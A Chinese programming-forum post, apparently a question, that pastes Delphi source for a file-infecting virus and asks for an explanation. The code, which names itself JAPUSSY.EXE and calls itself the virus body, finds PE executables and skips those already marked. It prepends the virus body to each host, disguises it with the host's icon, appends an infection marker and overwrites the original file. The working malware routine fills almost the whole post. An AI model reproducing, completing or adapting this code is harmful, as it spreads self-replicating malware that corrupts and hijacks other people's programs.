如题

解决方案 »

  1.   

    HeaderSize = 82432; //病毒体的大小
      IconOffset = $12EB8; //PE文件主图标的偏移量
     IconSize = $2E8; //PE文件主图标的大小--744字节
      IconTail = IconOffset + IconSize; //PE文件主图标的尾部
      ID = $44444444; //感染标记procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
      dStartPos: Integer; Count: Integer);
    var
      sCurPos, dCurPos: Integer;
    begin
      sCurPos := Src.Position;
      dCurPos := Dst.Position;
      Src.Seek(sStartPos, 0);
      Dst.Seek(dStartPos, 0);
      Dst.CopyFrom(Src, Count);
      Src.Seek(sCurPos, 0);
      Dst.Seek(dCurPos, 0);
    end;
    procedure InfectOneFile(FileName: string);
    var
      HdrStream, SrcStream: TFileStream;
      IcoStream, DstStream: TMemoryStream;
      iID: LongInt;
      aIcon: TIcon;
      Infected, IsPE: Boolean;
      i: Integer;
      Buf: array[0..1] of Char;
    begin
      try //出错则文件正在被使用,退出
      if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己则不感染
      Exit;
      Infected := False;
      IsPE := False;
      SrcStream := TFileStream.Create(FileName, fmOpenRead);
      try
      for i := 0 to $108 do //检查PE文件头
      begin
      SrcStream.Seek(i, soFromBeginning);
      SrcStream.Read(Buf, 2);
      if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记
      begin
      IsPE := True; //是PE文件
      Break;
      end;
      end;
      SrcStream.Seek(-4, soFromEnd); //检查感染标记
      SrcStream.Read(iID, 4);
      if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染
      Infected := True;
      finally
      SrcStream.Free;
      end;
      if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出
      Exit;
      IcoStream := TMemoryStream.Create;
      DstStream := TMemoryStream.Create;
      try
      aIcon := TIcon.Create;
      try
      //得到被感染文件的主图标(744字节),存入流
      aIcon.ReleaseHandle;
      aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
      aIcon.SaveToStream(IcoStream);
      finally
      aIcon.Free;
      end;
      SrcStream := TFileStream.Create(FileName, fmOpenRead);
      //头文件
      HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
      try
      //写入病毒体主图标之前的数据
      CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
      //写入目前程序的主图标
      CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
      //写入病毒体主图标到病毒体尾部之间的数据
      CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
      //写入宿主程序
      CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
      //写入已感染的标记
      DstStream.Seek(0, 2);
      iID := $44444444;
      DstStream.Write(iID, 4);
      finally
      HdrStream.Free;
      end;
      finally
      SrcStream.Free;
      IcoStream.Free;
      DstStream.SaveToFile(FileName); //替换宿主文件
      DstStream.Free;
      end;
      except;
      end;
    end;
    帮忙解释一下这段代码,谢谢了。